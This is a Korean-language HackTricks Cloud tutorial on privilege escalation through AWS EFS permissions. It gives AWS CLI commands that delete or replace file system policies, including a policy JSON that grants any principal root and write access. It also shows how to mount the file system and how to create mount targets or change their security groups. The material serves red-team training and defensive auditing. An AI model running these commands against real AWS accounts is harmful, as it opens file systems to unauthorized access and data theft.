AWS - EFS Privesc
Reading time: 3 minutes
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
EFS
더 많은 EFS에 대한 정보는 다음에서 확인하세요:
EFS를 마운트하려면 EFS가 노출된 서브네트워크에 있어야 하고 해당 네트워크에 대한 접근 권한(security groups)이 있어야 합니다. 이러한 조건이 충족되면 기본적으로 항상 마운트할 수 있습니다. 그러나 IAM policies로 보호되어 있다면 접근하려면 여기에 언급된 추가 권한이 필요합니다.
elasticfilesystem:DeleteFileSystemPolicy|elasticfilesystem:PutFileSystemPolicy
해당 권한 중 하나만 있어도 공격자는 파일 시스템 정책을 변경하여 자신에게 접근 권한을 부여할 수 있고, 또는 정책을 삭제하여 기본 접근 권한이 허용되도록 만들 수 있습니다.
정책을 삭제하려면:
aws efs delete-file-system-policy \
--file-system-id <value>
변경하려면:
aws efs put-file-system-policy --file-system-id <fs-id> --policy file:///tmp/policy.json
// Give everyone trying to mount it read, write and root access
// policy.json:
{
"Version": "2012-10-17",
"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763",
"Statement": [
{
"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"elasticfilesystem:ClientRootAccess",
"elasticfilesystem:ClientWrite",
"elasticfilesystem:ClientMount"
],
"Condition": {
"Bool": {
"elasticfilesystem:AccessedViaMountTarget": "true"
}
}
}
]
}
elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)
이 권한이 있으면 공격자는 mount the EFS할 수 있습니다. 만약 write permission이 mount the EFS를 할 수 있는 모든 사용자에게 기본적으로 부여되어 있지 않다면, 그는 read access만 갖게 됩니다.
sudo mkdir /efs
sudo mount -t efs -o tls,iam <file-system-id/EFS DNS name>:/ /efs/
추가 권한 elasticfilesystem:ClientRootAccess 및 elasticfilesystem:ClientWrite는 파일시스템이 마운트된 후 내부에 쓰기 하고 해당 파일 시스템에 root로 접근하는 데 사용할 수 있습니다.
잠재적 영향: 파일 시스템에서 민감한 정보를 찾아내어 간접 privesc를 유발할 수 있습니다.
elasticfilesystem:CreateMountTarget
만약 공격자가 서브네트워크 내부에 있고 EFS의 mount target이 없는 경우, 이 권한으로 자신의 서브넷에 하나를 생성할 수 있습니다:
# You need to indicate security groups that will grant the user access to port 2049
aws efs create-mount-target --file-system-id <fs-id> \
--subnet-id <value> \
--security-groups <value>
잠재적 영향: 파일 시스템에서 민감한 정보를 찾아 간접적인 privesc를 획득할 수 있습니다.
elasticfilesystem:ModifyMountTargetSecurityGroups
attacker가 자신의 subnetwork에 EFS의 mount target이 있지만 security group이 트래픽을 허용하지 않는 경우, 그는 선택된 security groups를 수정하여 이를 변경할 수 있습니다:
aws efs modify-mount-target-security-groups \
--mount-target-id <value> \
--security-groups <value>
잠재적 영향: 파일 시스템에서 민감한 정보를 찾아 간접적으로 privesc가 발생할 수 있음.
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
HackTricks Cloud